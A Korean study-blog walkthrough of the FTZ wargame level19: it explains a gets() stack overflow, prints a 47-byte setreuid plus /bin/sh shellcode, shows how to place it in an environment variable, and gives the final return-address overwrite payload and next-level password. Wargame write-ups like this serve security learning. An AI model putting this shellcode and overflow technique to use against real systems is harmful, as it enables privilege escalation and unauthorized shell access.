일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- useMutation error
- 앙버터마카롱
- 잠실새내
- 비동기배열
- 예쁜술집 예술
- graphql with RN
- 도그존
- promise처리
- graphql with reactnative
- promise메서드
- 신촌 소문난집
- 운정 소바동
- 잠실새내 도그존
- graphql 400
- 비동기배열처리방법
- apollo react native
- 홍대 예술
- 화이트해커를 위한 웹 해킹의 기술
- typescript
- 토라비
- graphql react native
- 고르드
- 홍대 토라비
- 화이트 해커를 위한 웹 해킹의 기술
- 홍대 카페 장쌤
- 지보싶 신촌점
- apolloclient
- graphql
- 금별맥주
- graphql mutation error
- Today
- Total
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
FTZ level19 풀이 본문
id: level19
pw: swimming in pink
이번에도 hint를 읽어보자
gets 함수에는 BOF 취약점이 존재하니 이를 이용하고
이번에는 setreuid 함수가 존재하지 않는다. 즉 attackme를 실행하고 쉘을 띄워도 level19로만 실행이된다.
따라서 이번에는 setreuid 기능을 포함하고, 쉘을 띄우는 쉘 코드를 이용해야한다.
setreuid+ 쉘을 띄우는 쉘 코드(47bytes): \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80
이제 attackme를 디스어셈블해서 스택 구조를 파악해보자
main+9~13: ebp-40의 주소를 eax에 대입한 후 eax를 스택에 push, gets함수를 호출한다.
ebp-40의 주소는 gets의 인자
따라서 ebp-40=buf
스택 구조를 그려보면 다음과 같다
ret까지 44바이트를 채워주고 ret에 환경변수의 주소를 넣어주면 된다!
쉘 코드를 환경변수에 등록하자.
env 명령어를 이용해 환경변수를 확인함
이제 환경변수 주소를 알아내는 코드를 작성하고
#include <stdio.h>
int main(){printf("address: %p\n",getenv("SHELL2"));}
컴파일해서 실행 후 환경변수 주소를 얻었다.
이제 ret에 환경변수 주소를 넣어 주면 된다.
payload: (python - 'print "A"*44+"\x91\xfb\xff\xbf"';cat)|./attackme
level20의 pw: "we are just regular guys"
'wargame 풀이 > FTZ' 카테고리의 다른 글
FTZ level20 풀이 (0) | 2020.12.30 |
---|---|
FTZ level18 풀이 (0) | 2020.10.05 |
FTZ level17 풀이 (0) | 2020.09.30 |
FTZ level16 풀이 (0) | 2020.09.30 |
FTZ level15 풀이 (0) | 2020.09.29 |